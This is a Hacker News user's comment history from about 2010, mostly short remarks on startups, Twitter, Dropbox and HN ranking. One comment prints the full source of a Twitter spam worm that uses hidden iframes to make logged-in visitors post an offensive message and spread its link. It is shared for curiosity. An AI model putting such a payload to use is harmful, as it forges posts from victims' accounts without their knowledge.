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mrduncan

5,438 karma · joined March 24, 2008

Hi, I'm Matt.

Feel free to contact me: matt@mattduncan.org / http://mattduncan.org

submissionscomments
mrduncan··on Celery 2.1.0 stable released
Check out Resque - http://github.com/defunkt/resque
mrduncan··on Facebook launches new Groups feature
I'm curious how the frid.ge folks feel about this one. Seems very close to what they are doing.
mrduncan··on Having big goals and stating them proud
Let's get this started - what's your big goal?
mrduncan··on Ask HN: Who Is Hiring? (October 2010 Edition)
As always, please let potential applicants know whether telecommuting is an option - if not, don't forget to include your location.
mrduncan··on 37 Signals' New office (pics and video)
Looks amazing, just watch out for the "curse of a new building".

http://steveblank.com/2009/05/15/supermac-war-story-11-the-c...

mrduncan··on Hacker Monthly Issue #5 - October 2010
Are the previous digital versions no longer going to be free once the next version is released? The digital edition for September is still $3.
mrduncan··on Google URL shortener available to the public
I rarely use shorteners, so excuse my ignorance here, but what does Google offer here that bit.ly doesn't? Why would I switch to Google after using bit.ly for a long time?
mrduncan··on Southwest's acquisition of AirTran: Why they're doing it and why you should care
I agree. However, they do fly a few different variations of the 737. They are in the process of replacing their 300s with the newer 700 series and they also have a few 500 series which are slightly smaller (122 passengers vs 137 in the 300/700). They have also recently been evaluating adding the 800 series (a stretched version of the 700 series) to their fleet.
mrduncan··on Ask TechStars
Your link unnecessarily got the closing ">" added to it, here's the working link: http://getsponge.com
mrduncan··on Don’t Click The WTF Link On Twitter Unless You Do Like Sex With Goats
More discussion here: http://news.ycombinator.com/item?id=1729601
mrduncan··on Twitter worm? Sex with goats?
Below is the source of the worm for the curious - it's surprisingly very simple.

    <html>
    <head></head>
    <body>
    <script>
    var el1 = document.createElement('iframe');
    var el2 = document.createElement('iframe');
    el1.style.visibility="hidden";
    el2.style.visibility="hidden";
    el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location;
    el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats";
    document.getElementsByTagName("body")[0].appendChild(el1);
    document.getElementsByTagName("body")[0].appendChild(el2);
    </script>
    </body>
    </html>
mrduncan··on So A Blogger Walks Into A Bar…
The original tweet was removed in the past few minutes (others have dug it up again). His latest tweet doesn't seem to be taking Arrington too seriously:

Thanks Mike for techcrunching me for no reason. Note to self: hold next secret meeting in underground bunker to get the feds off my trail.

http://twitter.com/speechu/status/25174604517

mrduncan··on Chrome 7 Will Get 60 Times Faster
That still doesn't explain what is faster, only how it's faster.

Based on the GPU acceleration bit, I'd assume it's page rendering though.

mrduncan··on Ask HN: whither Billmonk?
Although it's not really under development anymore (due to lack of time), http://billpad.com is another alternative.

[Disclosure: I'm one of the founders of BillPad]

mrduncan··on Meet the new Twitter
Looks like mouse scroll-wheel / trackpad in the video. I'm guessing that the scrollbar at the right is just cut off to make the video look nice.
mrduncan··on Ask HN: Who's hiring? (September 2010)
As always - Please indicate whether telecommuting is an option or you require employees be located in a specific city.
mrduncan··on Just launched: http://talkMiner.com
A simple suggestion regarding the design - change the green term highlighting to something less overpowering (such as #ffc or #ffa). For me, just that small change would make an enormous difference.
mrduncan··on Build An Opensource Dropbox Clone
From Drew's original YC application [0]:

# Why would your project be hard for someone else to duplicate?

This idea requires executing well in several somewhat orthogonal directions, and missteps in any torpedo the entire product.

For example, there's an academic/theoretical component: designing the protocol and app to behave consistently/recoverably when any power or ethernet cord in the chain could pop out at any time. There's a gross Win32 integration piece (ditto for a Mac port). There's a mostly Linux/Unix-oriented operations/sysadmin and scalability piece. Then there's the web design and UX piece to make things simple and sexy. Most of these hats are pretty different, and if executing in all these directions was easy, a good product/service would already exist.

I'd find it hard to believe that there isn't some very tricky stuff being done in the clients which gives them a big competitive advantage over competitors that pop up.

[0] http://files.dropbox.com/u/2/app.html

mrduncan··on GitHub launches Pull Requests 2.0
While the site isn't open-source, they have open-sourced a ton of code. Just to name a few:

http://github.com/github

http://github.com/defunkt/resque

http://github.com/mojombo/jekyll

http://github.com/mojombo/god

http://github.com/mojombo/bert

http://github.com/mojombo/grit

mrduncan··on Autocomplete your life with Greplin (YC W10)
Lots of "little known facts" in this thread!

Have you talked to the guys who run http://searchyc.com about working with their data?

mrduncan··on Autocomplete your life with Greplin (YC W10)
How common is it for companies to not have names until that late?
mrduncan··on Clojure or: How I Learned to Stop Worrying and Love the Parentheses
The code snippets are Clojure, but that's the point. Nothing was added to the Clojure language itself in order for this to be possible. Linq would not have been possible (in it's current form anyway) without adding new features to the C# language itself.
mrduncan··on Ask HN: What does your development environment look like?
Not my site, but you may also find http://usesthis.com/ interesting. It has short interviews with well-known developers/designers that focus on the tools they use and how they work.
mrduncan··on Ask HN: Review our product Beacon - a hosted Comet push service with WebSockets
Looks like a pretty cool product, especially for those who want to add on small real-time features to their application but don't want to have to deal with evented servers/browser support/etc. I started looking into doing something very similar about a year ago based on having those exact needs actually (the project was eventually scrapped).

- The cost is listed as per million messages - what happens if I deliver 900,000 messages, what am I charged (if anything)?

- Care to share any details about your infrastructure?

- Have you thought about writing (and open-sourcing) a simple demo app, such as a chat room, to give people an idea of how everything works together?

mrduncan··on Ask HN: How is the avg in my HN profile calculated?

  ; Ignore the most recent 5 comments since they may still be gaining votes.  
  ; Also ignore the highest-scoring comment, since possibly a fluff outlier.
http://github.com/nex3/arc/blob/master/news.arc#L2301

It may be slightly different now, but probably not by much.

mrduncan··on Clicking Facebook "Like" Buttons Gives Owner Permission To Spam You (w/ demo)
Maybe I'm missing something here, but this seems like much ado about nothing. I mean, I get it, if I "like" something then that site now has the ability to leave me messages. I just don't see this as much different than following someone on Twitter - once I follow them, they have the ability to DM me all they want (until I unfollow anyway).

Liking anything lets the owner spam you.

This just sounds like a scare-tactic to me. That's like saying "following anyone lets the owner spam you", or "emailing anyone lets the owner spam you".

I guess the real point here is to only "like" things that you trust. Just as I won't start following shady looking accounts on Twitter or handing out my email address to every website I visit, I won't "like" shady looking websites.

mrduncan··on Swarmation: like musical chairs for pixels
Fascinating.

What has been most interesting to me is to watch the game as more and more people join. When I first started watching, there were about 30 or so pixels was swarming around the middle of the board - now, there are three distinct swarms in different areas of the board, each comprised of about 20-30 pixels.

mrduncan··on Linux Kernel Based Virtual Machine
Votes divided by the age in hours to the gravityth power.

Although, the current algorithm is probably slightly different to combat spammers.

http://github.com/nex3/arc/blob/master/news.arc#L262

mrduncan··on With Own Incubator On Hold, Facebook Befriends Y Combinator
I doubt much will change.

I'm not sure why, but few people seem to remember that YC has (what appears to be) pretty much the exact same partnerships with Twitter[1] and JustinTV[2]. Both of these partnerships were announced, if I remember correctly, around this time last year as a part of the W09 applications. So far, I haven't seen any startups which have launched that take advantage of either partnership.

Given the seeming propensity of startups which leverage Facebook to get acquired, this could be a completely different ballgame though.

1. http://ycombinator.com/rfs3.html

2. http://ycombinator.com/rfs4.html

mrduncan··on Paul Graham is now tweeting
The day after, in fact.
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